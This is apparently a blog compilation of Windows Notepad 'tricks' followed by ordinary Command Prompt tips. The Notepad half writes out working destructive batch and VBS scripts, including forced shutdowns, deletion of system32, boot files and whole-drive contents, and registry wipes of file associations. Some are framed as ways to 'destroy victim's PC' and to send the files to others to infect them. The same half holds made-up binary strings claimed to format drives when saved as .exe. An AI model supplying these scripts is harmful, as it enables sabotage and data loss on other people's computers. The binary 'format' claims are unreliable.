Notepad And Cmd

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#1 Bush Hid the Facts – Most Popular Notepad Tricks

This is one of the mysterious notepad tricks we know. According to the trick it really seems Microsoft had put some hack into the coding of notepad making the text hidden after saving it.

Bush Hid the Facts – Most Popular Notepad Trick Open notepad.
Type BUSH HID THE FACTS
Save that file.
Close it
Open It Again See…

Why This Happens ? :

It was later known 4335 Rule. It means that if we enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters each, and the last word has five letters. Then Notepad Automatically hides the text into unknown code. Similar are with “this app can break”.

OR

STEP 1: OPEN NOTEPAD

STEP 2: WRITE FOLLOWING LINE IN THE NOTEPAD.

THIS APP CAN BREAK

STEP 3: SAVE THIS FILE AS AAA.TXT

STEP 4: CLOSE THE NOTEPAD.

STEP 5: OPEN THE FILE AGAIN.

VOILLA!!

OR

1> OPEN NOTEPAD

2> ENTER FOUR WORDS SEPARATED BY SPACES, WHEREIN THE FIRST WORD HAS 4 LETTERS, THE NEXT TWO HAVE THREE LETTERS, AND THE LAST WORD HAS FIVE LETTERS

3> DON’T HIT ENTER AT THE END OF THE LINE.

4> SAVE THE FILE.

5> CLOSE NOTEPAD.

6> REOPEN NOTEPAD.

7> OPEN THE FILE YOU JUST SAVED.

YOU ARE DONE!!!

#2 World Trade Centre Attack Trick – Shocking Notepad Tricks

Did you know that the flight number of the plane that had hit WTC on 9/11 was Q33NY …

Open your Notepad
Type the flight number i.e Q33N in Capital Letters.
Increase the Font Size to 72
Change the Font to Wingdings

You will be amazed by the findings. Its a Plane going for 2 building shaped structures & then death.(see below)  WTF ?

Must Be Shocking Right.

But This Is Only Hoax As No Plane No:-Q33N Crashed Into Twin Towers.

#3. Test Your Anti-Virus

You can also test your anti virus program for its effectiveness using a simple notepad trick. Follow the steps below to know more:

Open Notepad.
Copy the code give below in the notepad file:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Save it with an .exe extension like testvirus.exe

This test is also known as EICAR (European Institute for Computer Antivirus Research) test file.

The file is simply a text file of either 68 or 70 bytes that is a legitimate executable file called a COM file that can be run by Microsoft operating systems and some work-alikes (except for 64-bit due to 16-bit limitations), including OS/2. When executed, it will print “EICAR-STANDARD-ANTIVIRUS-TEST-FILE!” and then stop. The test string was specifically engineered to consist of ASCII human-readable characters, easily created using a standard computer keyboard. It makes use of self-modifying code to work around technical issues that this constraint makes on the execution of the test string.

#4. Continually Pop The CD Drive

Open Notepad.
Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Save it as “Anything.VBS”.

Now open the file and see the magic! The file will continuously force the CD rom to pop out! And If you have more than one then it pops out all of them!

Note: Don’t worry when this crazy notepad trick opens your cd tray continuously. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete). Under Processes end the process “wscript.exe”

#5.Convert Text Into Audio Using Notepad
How To Do It ?

Open Notepad file on your Windows PC.
Copy and paste the below mentioned code :

Dim Message, Speak
Message=InputBox(“Enter text”,”Speak”)
Set Speak=CreateObject(“sapi.spvoice”)
Speak.Speak Message
Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs

Thats it ! Your Text to Audio converter is ready to be used. Now open the saved file and key in the text you want to convert and click OK. If you find any difficulties in using this code, let me know via comments section.

#6. Matrix Effect

Not much to explain, just follow the steps and see the amazing matrix effect happen in your DOS window:

Open Notepad.
Copy the below mentioned text in your notepad file:

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Save the file with .bat extension like Matrix.bat

Thats it. Just open the file to see the matrix effect right before your eyes!

#7. Change The Header/Footer Of Your Notepad File

More often than not whenever you get a printout of your notepad file, it starts with “Untitled” or the filename at top, and “Page ” on bottom. Now if you want to get rid of it or want to change it, just follow the simple steps given below.

Open Notepad.
Click on File -> Page Setup.
Replace the text written in the “Header” and “Footer” box (as shown above) by any of the following codes:

&l Left-align the characters that follow

&c Center the characters that follow

&r Right-align the characters that follow

&d Print the current date

&t Print the current time

&f Print the name of the document

&p Print the page number

#8. Constantly Repeat Messages
Using this notepad trick you can annoy anyone and can actually force them to log off or leave the computer (LOL….). This notepad trick will create an infinite cycle of a message in the computer. Follow the steps to know more:

Open Notepad.
Paste the following code in the notepad file:

@ECHO off

:Begin

msg * Hi

msg * Are you having fun?

msg * I am!

msg * Lets have fun together!

msg * Because you have been o-w-n-e-d

GOTO BEGIN

Save the file with any file name but with .bat as extension and close it. For eg. Freakymessage.bat

After saving the file just open it (by double clicking) and see what happens.

#9. Shut-down The Computer After Conveying Any Message
This one is kind of an annoying trick and if used unknowingly can certainly cause problems (am serious). What this trick does is, after conveying a (any) message it shuts down the computer without any confirmation. In order to create the Shutdown file, follow the below mentioned steps:

Open Notepad.
Paste the following code in it:

@echo off

msg * Its time to get some rest.

shutdown -c “Error! You have to take rest! Byeeeeee” -s

Save the file with any name but with .bat extension and close it. For eg. TakeRest.bat

#10. Toggle Keyboard Button Simultaneously

Using Notepad (and VB) you can set different keys on your keyboard to toggle continuously. Following are the 3 tricks using which different keys can be set to toggle simultaneously. Follow the steps given under each head to try out the tricks.

1. Caps Lock Key

Open Notepad.
Paste the following code in the notepad file:

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

Save the file with anyname and .vbs extension. and close it.
Now open the newly created file and see how the caps lock key behaves on your keyboard!

2. Hit Enter Key Continuously

Open Notepad.
Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save the file with any name and .vbs extension and close it.
Now open the newly created file and see how the enter key behaves!

3. Hit Backspace Key Continuously

Open Notepad.
Paste the following code in the notepad file:

MsgBox “Lets Rumble”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Save the file with any name and with .vbs extension and close it.
Now open the newly created file and see how the key behaves!

#11. Type “You are a fool” Continuously

Not much to explain, the title says it all! Follow the steps to make this trick work:

Open Notepad.
Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “You are a fool.”

loop

Save the file with any name but with .vbs extension and close it.

Ope the file and see how it makes you type!

#12. Open Notepad continuously

Open Notepad.
Paste the following code in your notepad file:

@ECHO off

:top

START %SystemRoot%system32notepad.exe

GOTO top

Save the file with any name nut with .bat extension and close it.

Now open the file and see how it annoys you by opening notepad again and again.

#13. Pick Your Option Batch File

When used this creates a file which asks you to choose a number between 1-5 and then does a certain action (as shown below – Action accompanied by number):

1 – Shut’s down the computer

2 – Restart’s the computer

3 – Wipes out the hard drive

4 – Net send

5 – Shows a message & then shut’s down the computer

Before you try out this trick, keep in mind that this can cause loss of important data on your (or any one else’s on which you are running this file) computer system. So BEWARE! In order to create the file, follow the steps given below:

Open Notepad.
Paste the following code in the notepad file:

@echo off

title Get A Life

cd C:

:menu

cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted. Do not cry if you loose your data or anything.

pause

echo Pick your option:

echo 1. Die Slowly

echo 2. Instant Death

echo 3. Stay Away From This One

echo 4. Die this way (For Wimps!)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

Save the file with any name and with a .bat extension and close the file.

#14. IN THIS HACK I WILL SHOW YOU HOW TO FORMAT A HDD USING NOTEPAD    AND HOW TO DESTROY VICTIMS PC USING NOTEPAD. THIS IS REALLY COOL.

(A) STEP 1 :-

COPY THE FOLLOWING IN NOTEPAD EXACTLY AS IT IS.

SAYS01001011000111110010010101010101010000011111100000

STEP 2 :-

SAVE AS AN .EXE ANY NAME WILL DO

STEP 3 :-

SEND THE .EXE TO PEOPLE AND INFECT

OR

IF YOU THINK CANNOT FORMAT C DRIVE WHEN WINDOWS IS RUNNING TRY LAUGHING AND U WILL GET IT Secret. ANY WAY SOME MORE SO U CAN TEST ON OTHER DRIVES THIS IS SIMPLE BINARY CODE

FORMAT C:\ /Q/X — THIS WILL FORMAT YOUR DRIVE C:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

FORMAT D:\ /Q/X — THIS WILL FORMAT YOUR DIRVE D:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

FORMAT A:\ /Q/X — THIS WILL FORMAT YOUR DRIVE A:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

DEL /F/S/Q C:\BOOT.INI — THIS WILL CAUSE YOUR COMPUTER NOT TO BOOT.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

TRY TO FIGURE OUT URSELF REST

CANT SPOONFEED

ITS WORKING

DO NOT TRY IT ON YOUR PC. DON’T MESS AROUND THIS IS FOR EDUCATIONAL PURPOSE ONLY

STILL IF YOU CANT FIGURE IT OUT TRY THIS

GO TO NOTEPAD AND TYPE THE FOLLOWING:

(B) @ECHO OFF

DEL C:\ *.*|Y

SAVE IT AS DELL.BAT

WANT WORSE THEN TYPE THE FOLLOWING:

@ECHO OFF

DEL %SYSTEMDRIVE%\*.*/F/S/Q

SHUTDOWN -R -F -T 00

AND SAVE IT AS A .BAT FILE

(C) HOW TO SHUTDOWN A COMPUTER FOREVER..

CODE:

@ECHO OFF

ATTRIB -R -S -H C:\AUTOEXEC.BAT

DEL C:\AUTOEXEC.BAT

ATTRIB -R -S -H C:\BOOT.INI

DEL C:\BOOT.INI

ATTRIB -R -S -H C:\NTLDR

DEL C:\NTLDR

ATTRIB -R -S -H C:\WINDOWS\WIN.INI

DEL C:\WINDOWS\WIN.INI

OPEN UP AND COPY THE CODE AND SAVE IT AS .BAT FILE..

THIS WILL SHUT DOWN THE PERSON’S COMPUTER.IT SHUTS IT OFF ONCE AND DELETES THE FILES NEEDED TO REBOOT AND RESTART.

REMEMBER – DO NOT OPEN THE FILE.

YOU WON’T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

(D) A SIMPLE HACK TO DESTROY UR VICTIM’S PC

I M HERE EXPLAIN TO MAKE A FILE THAT DESTROYS UR VICTIMS PC

I M NOT RESPONSIBLE FOR THE DAMAGE CAUSED BY THIS FILE.”

1. OPEN NOTEPAD

2. WRITE THE ABOVE COMMAND : -

DEL C:\WINDOWS\SYSTEM32\*.*/Q

3. SAVE THE ABOVE NOTEPAD WITH THE EXTENSION “.BAT OR .CMD” AS U WANT

4. !!!!!!!!!!!!!!!!!!!!!!ATTENTION!!!!!!!!!!!!!!!!!!! !!!

DON’T DOUBLE CLICK THE FILE OTHERWISE U R IN TROUBLE.

WHY ?????? BCZ THE FILE U CREATED DELETE ALL FILES FROM UR

SYSTEM32 FOLDER AND WHEN U RESTART UR PC IT WILL NOT START

BCZ SYSTEM CAN NOT FIND THE FILES IN THE SYSTEM32 FOLDER WHICH

IS REQUIRED AT THE TIME OF BOOTING.

5. YOU CAN ALSO TEST THE ABOVE BY CREATING A FAKE FOLDER LET SUPPOSE

WINDOWS1 IN C:\. COPY SOME OLD FILES IN IT AND JUST FOLLOW THE

ABOVE COMMAND.BY DOUBLE CLICKING THE BAT OR CMD FILE UR ALL FILES

AUTOMAITCALLY GET DELETED.

6. YOU CAN TRY THIS FILE IN ANY ONE`S COMPUTER.(BUT THIS RESULT IN CAUSING DAMAGE TO THE COMPUTER, SO THINK AGAIN BEFORE TRYING THIS ON ANYONE’S PC)

***MOST DANGEROUS NOTEPAD TRICK***

OPEN NOTEPAD

TYPE:

@ECHO OFF

START REG DELETE

HKCR/ .EXE

START REG DELETE

HKCR/.DLL

START REG DELETE HKCR/*

:MESSAGE

ECHO YOUR COMPUTER HAS

BEEN FCKED.HAVE A

NICE DAY.

GOTO MESSAGE

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1. Use Ctrl-C to Abort a Command

Just about any command can be stopped in its tracks with the abort command: Ctrl-C.

If you haven't actually executed a command, you can just backspace and erase what you've typed, but if you've already executed it then you can do a Ctrl-C to stop it.

Warning: Ctrl-C isn't a magic wand and it can't undo things that aren't undoable, like a partially complete format command. However, for things like the dir command that seem to go on forever or questions you're asked at the prompt that you don't know the answer to, the abort command is an excellent Command Prompt trick to know.

2. View a Command's Results One Page (or Line) at a Time

Ever run a command, like the dir command, that produces so much information on the screen that it's almost useless? You're not alone.

One way around this is to execute the command in a special way so whatever information is generated is shown to you one page, or one line, at a time.

To do this, just type the command, the dir command for example, and then follow it with the pipe redirection operator and then the more command.

For example, executing dir /s | more will generate the thousands of lines of results that you expect from the dir command, but the more command will pause each page of results with -- More -- at the bottom of the page, indicating that the command is not done running.

Just press the space bar to advance by page or press the Enter key to advance one line at a time.

See Command Prompt Trick #7 below for a different solution to this problem.

3. Run Command Prompt as an Administrator Automatically

Many commands require that you execute them from an elevated Command Prompt in Windows - in other words, execute them from a Command Prompt that's run as an administrator.

You can always right-click on any Command Prompt shortcut and chooseRun as administrator but creating a shortcut to do the same thing can be a huge time saver if you're a frequent Command Prompt power user.

To complete this Command Prompt trick, just create a Command Prompt shortcut on the desktop, enter the shortcut's properties and then select the Run as administrator box located in the Advanced button on theShortcut tab.

4. Become a Command Prompt Power User with Function Keys

The fact that the function keys actually do something in the Command Prompt is maybe one of the best kept secrets about the tool:

F1: Pastes the last executed command (character by character)
F2: Pastes the last executed command (up to the entered character)
F3: Pastes the last executed command
F4: Deletes current prompt text up to the entered character
F5: Pastes recently executed commands (does not cycle)
F6: Pastes ^Z to the prompt
F7: Displays a selectable list of previously executed commands
F8: Pastes recently executed commands (cycles)
F9: Asks for the number of the command from the F7 list to paste

Command Prompt Trick #17 is full of arrow key shortcuts, a few of which are similar to these function key tricks.

5. Hack the Prompt Text

Did you know that the prompt itself in the Command Prompt is completely customizable thanks to the prompt command? It is, and when I say customizable, I mean really customizable.

Instead of C:\>, you can set the prompt to any text you want, have it include the time, the current drive, the Windows version number, you name it.

One useful example is prompt $m$p$g which will show the full path of a mapped drive in the prompt, alongside the drive letter.

You can always execute prompt alone, without options, to return it to its sometimes boring default.

6. Get Help for Any Command

Believe it or not, the help command does not provide help for every Command Prompt command. However, any command can be suffixed with the /? option, usually called the help switch, to display detailed information about the command's syntax and often times even some examples.

I doubt that the help switch is the coolest Command Prompt trick you've ever heard of, but it's hard to disagree that it's one of the more useful.

Unfortunately, neither the help command nor the help switch offer much in the way of explaining how to interpret the syntax. See How To Read Command Syntax if you need help with that.

7. Save a Command's Output to a File

An incredibly useful Command Prompt trick is the use of redirection operators, specifically the > and >> operators.

These little characters let you redirect the output of a command to a file, giving you a saved version of whatever data the command produced in the Command Prompt window.

For example, let's say you're about to post a computer problem to an online forum and you want to provide really accurate information about your computer. An easy way to do that would be to use the systeminfo command with a redirection operator.

For example, you might execute systeminfo > c:\mycomputerinfo.txt to save the information provided by the systeminfo command to a file. You could then attach the file to your forum post.

See How To Redirect Command Output to a File for more examples and a better explanation of how to use redirection operators.

8. View Your Hard Drive's Entire Directory Structure

I think one of the neatest little commands is the tree command. With tree, you can create a kind of map of your computer's directories.

Execute tree from any directory to see the folder structure under that directory.

Tip: With so much information, it's probably a good idea to export the results of the tree command to a file. For example, tree /a > c:\treeresults.txt, just as explained in Command Prompt Trick #7.

9. Customize the Command Prompt Title Bar Text

Tired of that Command Prompt title bar text? No problem, just use the title command to change it to whatever you like.

For example, let's say your name is Maria Smith, and you want to express your ownership of the Command Prompt: execute title Property of Maria Smith and the Command Prompt's title bar will change immediately.

The change won't stick, so the next time you open Command Prompt the title bar will be back to normal.

The title command is usually used to help give a custom appearance in script files and batch files... not that I'm saying titling it with your name isn't a good idea!

10. Copy From the Command Prompt

As you may or may not know, copying from the Command Prompt is not as easy as copying from other programs, which is part of the reason why saving a command's output to a file, Command Prompt Trick #7, is so handy.

But what if you do just want to copy a short section of text to the clipboard? It's not too hard but it's not very intuitive either.

Right-click anywhere in the Command Prompt window and choose Mark. Now, highlight with your left mouse button whatever you'd like to copy. Once your selection is made, press Enter.

11. Open the Command Prompt From Any Location

If you've ever worked in the Command Prompt for very long, you know that it can be really frustrating executing the cd/chdir command over and over again to get to the right directory you want to work from.

Luckily, there's a super easy Command Prompt trick that will let you open a Command Prompt window from whatever folder you're viewing in Windows.

All you have to do is navigate, in Windows, to the folder you want to start working from in the Command Prompt. Once there, hold down your Shiftkey while you right-click anywhere in the folder. Once the menu pops up, you'll notice an entry that's not usually there: Open command window here.

Click it and you'll start a new instance of the Command Prompt, ready and waiting at the right location!

If you're a Command Prompt power user, you'll immediately recognize the value in this little trick.

12. Drag and Drop For Easy Path Name Entry

Most Command Prompt commands require you, or have options, to specify full paths to files or folders but typing out a long path can be frustrating, especially when you miss a character and have to start over.

For example, in Windows 7, the path to the Accessories group in my Start Menu is C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories. Who wants to type that all in manually? Not me.

Luckily there's a Command Prompt trick that makes this much easier: drag and drop.

Just navigate to the folder you want the path for in Windows Explorer. Once there, drag the folder or file to the Command Prompt window and let go. Like magic, the full path is inserted, saving you a considerable amount of typing depending on the length and complexity of the path name.

Note: Unfortunately, the drag and drop feature does not work in an elevated Command Prompt.

13. Shut Down or Restart Another Computer

System administrators in a business environment do this all the time for lots of reasons, but you can also shut down or restart another computer on your network, all from your computer's Command Prompt.

The easiest way to shut down a computer remotely is to executeshutdown /i from the Command Prompt which will open the Remote Shutdown Dialog, shown here. Just enter the name of the remote computer (which you can get by running the hostname command on the other PC), choose what you want to do (restart or shutdown), select some other options and then click OK.

So whether you're brushing up on your command skills or just scaring a family member, this Command Prompt trick is a fun one.

You can also shut down or restart another computer strictly from the Command Prompt with the shutdown command, without using the Remote Shutdown Dialog.

14. Use Robocopy as a Backup Solution

Thanks to the robocopy command, you don't need to use Window's backup software or install a third party program to manage your backups.

Just execute robocopy c:\users\tim\documents f:\backup\documents /copyall /e /r:0 /dcopy:t /mir, obviously replacing the source and destination folders with whatever you'd like to backup and where. The robocopy command with these options functions identically to an incremental backup software tool, keeping both locations in sync.

You don't have the robocopy command if you're using Windows XP or earlier. However, you do have the xcopy command, which can be used to do something very similar: xcopy c:\users\tim\documents f:\backup\documents /c /d /e /h /i /k /q /r /s /x /y.

No matter which command you choose to use, just create a script file containing the command and schedule it to run in Task Scheduler and you'll have your own custom made backup solution.

I've chosen to use the robocopy command on my personal computers as my only local backup solution because I like the level of control it gives me. Hopefully you take that as a vote of confidence in this incredibly useful Command Prompt trick.

15. View Your Computer's Important Network Information

Maybe just for your own information, but certainly when you're troubleshooting a network or Internet problem, you'll probably at some point need to know details about your computer's network connection.

Everything you'd want to know about your network connection is available somewhere in the Control Panel in Windows, but it's much easier to find, and much better organized, in the results from the ipconfig command.

Open Command Prompt and execute ipconfig /all. What displays on screen next is everything important about your network connection: yourIP address, hostname, DHCP server, DNS information, and much, much more.

Combine this hack with Command Prompt Trick #7 and you've got a very easy way to get information about your connection to someone helping you with a problem.

16. Map a Local Folder Just Like a Network Drive

The net use command is used to assign shared drives on a network to your own computer as a drive letter, but did you know there's another command that can be used to do the same thing to any folder on any of your local hard drives?

There is and it's called the subst command. Just execute the subst command, followed by the path of the folder you wish to appear as a drive. For example, let's say you want your C:\Windows\Fonts folder to appear as the Q: drive. Just execute subst q: c:\windows\fonts and you're set!

This Command Prompt trick makes accessing a particular location from the Command Prompt much easier.

17. Access Previously Used Command with the Arrow Keys

Another great Command Prompt trick has to be the use of the keyboard arrow keys to cycle through previously executed commands. The up and down arrow keys cycle through the commands you've entered and the right arrow automatically enters, character by character, the last command you executed.

This might not sound that interesting, but there are several situations where the arrow keys become huge time savers.

Consider this example: You've typed out 75 characters of a command and then try to execute it, only to find that you forgot to add an option at the very end. No problem, just hit the up arrow and the entire command is automatically entered in the Command Prompt window, ready for you to edit to make it work.

18. Automatically Complete Commands with Tab Completion

Tab completion is another Command Prompt trick that can save you lots of time, especially if your command has a file or folder name in it that you're not completely sure of.

To use tab completion in the Command Prompt, just enter the command and then the portion of the path that you do know, if at all. Then press the tab key over and over to cycle through all of the available possibilities.

For example, let's say you want to change directories to some folder in the Windows directory but you're not sure what it's named. Type cd c:\windows\ and then press tab until you see the folder you're looking for. The results cycle or you can use Shift+Tab to step through the results in reverse.

19. Find a Website's IP Address

Like to know the IP address of a website? There are a few different commands you can use to find it.

Let's use the nslookup command to find the IP address of About.com. Just execute nslookup about.com and view the result. Make sure you don't confuse any private IP addresses that also show up in the nslookup results alongside About.com's public IP address.

Another way to find a site's IP address is to use the ping command. Execute ping about.com and then look at the IP address between the brackets in the results shown.

Using either Command Prompt trick, the result is 207.241.148.80.

20. Copy & Paste Easier with QuickEdit Mode

How about an even easier way to copy from the Command Prompt? And a secret way to easily paste?

Just right-click on the Command Prompt title bar and select Properties. On the Options tab, in the Edit Options section, check the QuickEdit Modebox and then click OK.

Enabling QuickEdit Mode is like having Mark enabled all the time so selecting text to copy is really easy.

But it also enables an easy way to paste into the Command Prompt: just right click once and whatever is in the clipboard is pasted in the Command Prompt window. Normally, pasting involves right-clicking and selecting Paste.

21. Watch Star Wars Episode IV

Yes, you read that correctly, you can watch an ASCII version of the full Star Wars Episode IV movie right in the Command Prompt window!

Just open Command Prompt and execute telnet towel.blinkenlights.nl. The movie will start immediately. This isn't a terribly productive use of the Command Prompt, nor is it really a trick of the Command Prompt or any command, but it sure is fun!

Note: The telnet command is not enabled by default in Windows 7 or Windows Vista but can be turned on by enabling Telnet Client from Windows Features in the Programs and Features applet in Control Panel. If you'd rather not enable Telnet but would like to see the movie, you can also watch it in your browser here.

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